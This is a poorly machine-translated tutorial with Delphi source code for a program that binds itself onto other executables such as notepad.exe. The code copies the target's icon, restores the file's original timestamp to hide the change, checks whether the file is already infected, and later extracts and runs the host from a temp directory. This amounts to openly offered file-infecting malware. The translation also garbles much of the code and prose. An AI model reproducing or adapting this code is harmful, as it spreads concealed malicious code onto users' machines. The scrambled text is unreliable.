Latest Features: After bundle with other programs, icon is the icon for other programs. This demonstration program does not form, compile, compressed only 40K, after running, if you don't have a hidden form, add a search executable function. Plus the function of the monitoring system, plus% $ # @ * ^ function ...
The determination of several numbers in the program: 1 After compiling in this program, use aspack.exe compressed, the size is 414722, after the program is compressed with aspack.exe, the front part of the icon front part is 40751, the icon data is located from No. 40752 byte Start a total of 640 bytes, there are 81 bytes after the icon
Bundle with other programs: The first 40751 byte bundled program of this program This program last 81 bytes is bundled
How to find the icon location: Set the icon of the program to a 32 * 32 red block, after compiling, compile, use hex, editing software, and find "99 99 99" strings. You can add other suitable icons for the program. Hexadecimal Editing Software: Commonly used UltraEdit. I suspect that there is a date restriction, I have self-edited, there is a sixteen-based editor, comparison, find function, and in constant improvement, dealing with hundreds of documents have no problem: http://guanbh.top263.net/downloadload /Hexedit.exe}Program EXE2;
Uses classes, tlhelp32, windows, graphics, shellapi, sysutils;
{$ R * .res} var lppe: tprocessentry32; bound: boolean; handle: thandle; processstr, exename: string; windir: pchar; const mysize = 41472; {!! This value is based on compiled or compressed file size modify!!}
Procedure COPY2 (S: String); Var S1, S2, ICOSTREAM: TMEMORYSTREAM; File2: TFileStream; CH: Array [0..1] of char; ss: string; filetime, fhandle: integer; l: integer; file2icon: ticon Begin {if the file S does not exist} if fileexists (s) = false kil {If the file does not contain icons, it will not bundle} file2icon: = ticon.create; l: = extracton (Handle, Pchar (s), 0); if l = 0 THEN, EXIT; END ELSE BEGIN {Extract Bundle Object icon} File2icon.Handle: = Extracticon (Handle, Pchar (s), 0); icostream: = TmemoryStream.create; File2Ion . SaveTroupTream (iCOStream); file2icon.free; end; {Judgment file S does not have the second program head 'MZ'.
If there is, it has been incorporated} file2: = tfilestream.create (s, fmopenread); if file2.size> mysize the beginning2.position: = mysize; file2.read (CH, 2); ss: = COPY (CH , 1, 2); if ss = 'mz' Then Begin file2.free; exit; end; end; file2.free; {Combine this document with files S = S2: = TMEMORYSTREAM.CREATE; S2.LoadFromFile (Exename); S1: = tmemorystream.create; {Join the front 40751 byte of this Program 40752 bytes Start a total of 640 bytes to icon data !! The following numbers 40751, 81 should be modified according to the actual situation!! } S1.copyFrom (S2, 40751); {Move the icon to the bundled program icon, the icon size is 766} icostream.position: = 126; S1.copyFrom (icostream, 640); icostream.free; s2.position: = 40751 640; {The rear of this procedure 81 bytes} S1.copyFrom (S2, 81); s2.clear; s2.loadFromFile (s); s); s1.seek (s1.size, sofrombeginning); {Joined bundled The program is all} S1.copyFrom (S2, S2.SIZE); S2.Free; {Get Date of File S} FHANDE: = FileOpen (S, FMopenRead); FileTime: = filegetdate (FileClose (FHANDLE); S1. Savetofile (s); {Recovery file S} fhandle: = fileopen (s, fmopenwrite); FileSetDate (Fhandle, Fileti ME); FileClose (FHANDLE); S1.FREE; EXCEPT END; END;
procedure CreateFileAndRun; var s1, s2: TMemoryStream; TempDir: pchar; cmdstr: string; a: integer; Begin s1: = TMemoryStream.Create; s1.loadfromfile (ExeName); if s1.Size = MySize then begin s1.Free; exit End; s1.seek; s2: = tmemorystream.create; s2.copyfrom (s1, s1.size-mysize); getMem (Tempdir, 255); getTemppath (255, tempdir); try { Release to the temporary directory. If you don't want to see a bunch of files in this directory, you can change it to other more hidden directories, such as C: / Windows (or WinNT) / D ... (☆ What is this catalog? You go to study Research! ☆)} S2.SaveTofile (Tempdir '/' ExtractFileName (Excename)); Except end; cmdstr: = '; A: = 1; While Paramstr (a) <>' Do Begin cmdstr: = cmdstr Paramstr (a) ''; inc (a); end; {running real program file} Winexec (Pchar (Tempdir '/' extractFileName (Exename) '' cmdstr), sw_show); FreeMem (Tempdir) ; s2.free; s1.free; end; begin GetMem (WinDir, 255); GetWindowsDirectory (WinDir, 255); ExeName: = ParamStr (0); handle: = CreateToolhelp32Snapshot (TH32CS_SNAPALL, 0); found: = Process32First (handle , LPPE); ProcessStr: = ''; While Found Do Begin ProcessStr: = ProcessStr LPPE.SZEXEFILE; {list all processes} Found: = process32next (handle, lppe); end; {If notepad is not running, it is with it Bundle} IF POS (WINDIR '/ NOTEPAD.EXE', ProcessStr) = 0 THEN BEGIN COPY2 (WINDIR '/ NOTEPAD.EXE'); END; {other file IF POS (..., processstr) = 0 THEN BEGIN COPY2 (...); end; ...} FreeMem (Windir); {Do you want to use this program to dry some other ...} createfileAndrun; {Release file with parameter run} END.